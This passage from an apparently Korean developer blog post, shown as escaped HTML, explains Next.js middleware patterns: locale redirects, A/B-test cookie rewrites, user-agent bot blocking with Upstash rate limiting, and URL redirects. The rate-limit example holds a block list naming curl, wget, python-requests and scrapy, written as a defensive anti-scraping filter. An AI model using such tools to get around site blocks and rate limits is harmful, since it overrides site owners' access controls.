  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hasLocale&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; locale &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;pickLocale&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;locale&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;pathname&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/((?!_next|api|.*\\..*).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.*\\..*&lt;/code&gt; 패턴으로 &lt;code class=&quot;language-text&quot;&gt;favicon.ico&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt; 같은 &lt;strong&gt;정적 파일 확장자 요청은 스킵&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 패턴 3 — A/B 테스트 쿠키 세팅 + 리라이트&lt;/h2&gt;
&lt;p&gt;동일한 URL에 접근해도 사용자를 A/B 버킷에 나누어 &lt;strong&gt;다른 경로를 내부적으로 렌더링&lt;/strong&gt;하고 싶을 때의 패턴입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/pricing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; bucket &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ab-pricing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;value
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bucket &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;a&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; bucket &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    bucket &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;a&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;b&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clone&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  url&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bucket &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;b&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/pricing-b&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/pricing-a&quot;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;rewrite&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ab-pricing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bucket&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    httpOnly&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    sameSite&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lax&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    maxAge&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; res
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/pricing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;rewrite&lt;/code&gt;는 &lt;strong&gt;URL은 그대로 유지한 채 내부 경로만 바꾸는&lt;/strong&gt; 기법이라 사용자 주소창에는 &lt;code class=&quot;language-text&quot;&gt;/pricing&lt;/code&gt;으로 보입니다. SEO에도 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 패턴 4 — 봇 차단 / 간단한 Rate Limit&lt;/h2&gt;
&lt;p&gt;Edge에서 돌아가는 KV 스토어(Upstash Redis, Vercel KV 등)와 조합하면 초당 N회 제한을 걸 수 있습니다. 간단한 데모용 코드입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Ratelimit &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@upstash/ratelimit&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Redis &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@upstash/redis&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ratelimit &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Ratelimit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  redis&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Redis&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fromEnv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  limiter&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Ratelimit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slidingWindow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;10 s&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 10초당 30회&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;BAD_UA&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-source language-regex&quot;&gt;(curl|wget|python-requests|scrapy)&lt;/span&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-flags&quot;&gt;i&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ua &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;user-agent&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;BAD_UA&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ua&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;NextResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Forbidden&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ip &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ip &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-forwarded-for&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;anon&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; success&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; remaining &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; ratelimit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ip&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;success&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;NextResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Too Many Requests&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;429&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;X-RateLimit-Remaining&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;remaining&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; res
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/api/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;운영 환경에서는 화이트리스트, 로그인 사용자 예외, 경로별 한도 차등 등을 추가해서 씁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 패턴 5 — 구 URL → 신 URL 리라이트/리다이렉트&lt;/h2&gt;
&lt;p&gt;블로그 구조 개편 등으로 경로가 바뀐 경우, &lt;code class=&quot;language-text&quot;&gt;next.config.ts&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;redirects()&lt;/code&gt;로 대체할 수도 있지만 &lt;strong&gt;동적 규칙&lt;/strong&gt;이 필요하면 미들웨어가 유리합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 예: /posts/123 → /blog/123 로 영구 리다이렉트&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pathname &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; match &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pathname&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-source language-regex&quot;&gt;^\/posts\/(\d+)$&lt;/span&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;match&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

